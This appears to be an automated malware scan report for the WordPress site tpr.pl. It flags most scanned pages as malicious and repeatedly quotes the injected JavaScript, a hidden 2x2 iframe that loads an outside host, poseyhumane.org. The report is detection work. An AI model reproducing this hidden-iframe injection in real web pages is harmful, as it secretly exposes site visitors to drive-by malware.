Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=tpr.pl
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://www.tpr.pl/ | 200 OK Content-Length: 26195 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E")); document.write('<iframe src="http://poseyhumane.org/stats.php" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>'); Antivirus reports:
Hidden iFrame found. size: 2x2 src: http://poseyhumane.org/stats.php <iframe src="http://poseyhumane.org/stats.php" name="twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"> | ||
http://www.tpr.pl/wp-includes/js/l10n.js?ver=20101110 | 200 OK Content-Length: 308 Content-Type: application/javascript | clean |
http://www.tpr.pl/wp-includes/js/jquery/jquery.js?ver=1.4.4 | 200 OK Content-Length: 78620 Content-Type: application/javascript | clean |
http://www.tpr.pl/wp-includes/js/comment-reply.js?ver=20090102 | 200 OK Content-Length: 786 Content-Type: application/javascript | clean |
http://www.tpr.pl/inne/ | 200 OK Content-Length: 26392 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E")); document.write('<iframe src="http://poseyhumane.org/stats.php" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>'); Antivirus reports:
Hidden iFrame found. size: 2x2 src: http://poseyhumane.org/stats.php <iframe src="http://poseyhumane.org/stats.php" name="twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"> | ||
http://www.tpr.pl/wp-content/plugins/si-captcha-for-wordpress/captcha-secureimage/si_captcha.js?ver=1.0 | 200 OK Content-Length: 1700 Content-Type: application/javascript | clean |
http://www.tpr.pl/inne/main-ro/ | 200 OK Content-Length: 31441 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E")); document.write('<iframe src="http://poseyhumane.org/stats.php" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>'); Antivirus reports:
Hidden iFrame found. size: 2x2 src: http://poseyhumane.org/stats.php <iframe src="http://poseyhumane.org/stats.php" name="twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"> | ||
http://www.tpr.pl/inne/main-en/ | 200 OK Content-Length: 31343 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E")); document.write('<iframe src="http://poseyhumane.org/stats.php" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>'); Antivirus reports:
Hidden iFrame found. size: 2x2 src: http://poseyhumane.org/stats.php <iframe src="http://poseyhumane.org/stats.php" name="twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"> | ||
http://www.tpr.pl/inne/main-rus/ | 200 OK Content-Length: 33405 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E")); document.write('<iframe src="http://poseyhumane.org/stats.php" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>'); Antivirus reports:
Hidden iFrame found. size: 2x2 src: http://poseyhumane.org/stats.php <iframe src="http://poseyhumane.org/stats.php" name="twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"> | ||
http://www.tpr.pl/post_notification_header/ | 200 OK Content-Length: 26445 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E")); document.write('<iframe src="http://poseyhumane.org/stats.php" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>'); Antivirus reports:
Hidden iFrame found. size: 2x2 src: http://poseyhumane.org/stats.php <iframe src="http://poseyhumane.org/stats.php" name="twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"> | ||
http://www.tpr.pl/moldawia/ | 200 OK Content-Length: 26438 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E")); document.write('<iframe src="http://poseyhumane.org/stats.php" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>'); Antivirus reports:
Hidden iFrame found. size: 2x2 src: http://poseyhumane.org/stats.php <iframe src="http://poseyhumane.org/stats.php" name="twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"> | ||
http://www.tpr.pl/moldawia/artykuly/ | 200 OK Content-Length: 22424 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E")); document.write('<iframe src="http://poseyhumane.org/stats.php" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>'); Antivirus reports:
Hidden iFrame found. size: 2x2 src: http://poseyhumane.org/stats.php <iframe src="http://poseyhumane.org/stats.php" name="twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"> | ||
http://www.tpr.pl/moldawia/przewodnik/ | 200 OK Content-Length: 28685 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E")); document.write('<iframe src="http://poseyhumane.org/stats.php" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>'); Antivirus reports:
Hidden iFrame found. size: 2x2 src: http://poseyhumane.org/stats.php <iframe src="http://poseyhumane.org/stats.php" name="twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"> | ||
http://www.tpr.pl/moldawia/przewodnik/centralna/ | 200 OK Content-Length: 33454 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E")); document.write('<iframe src="http://poseyhumane.org/stats.php" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>'); Antivirus reports:
Hidden iFrame found. size: 2x2 src: http://poseyhumane.org/stats.php <iframe src="http://poseyhumane.org/stats.php" name="twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"> | ||
http://www.tpr.pl/moldawia/przewodnik/polnocna/ | 200 OK Content-Length: 30393 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E")); document.write('<iframe src="http://poseyhumane.org/stats.php" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>'); Antivirus reports:
Hidden iFrame found. size: 2x2 src: http://poseyhumane.org/stats.php <iframe src="http://poseyhumane.org/stats.php" name="twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"> |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: tpr.pl
Result:
GET / HTTP/1.1
Host: tpr.pl
Result:
Second query (visit from search engine):
GET / HTTP/1.1
Host: tpr.pl
Referer: http://www.google.com/search?q=tpr.pl
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: tpr.pl
Referer: http://www.google.com/search?q=tpr.pl
Result:
The result is similar to the first query. There are no suspicious redirects found.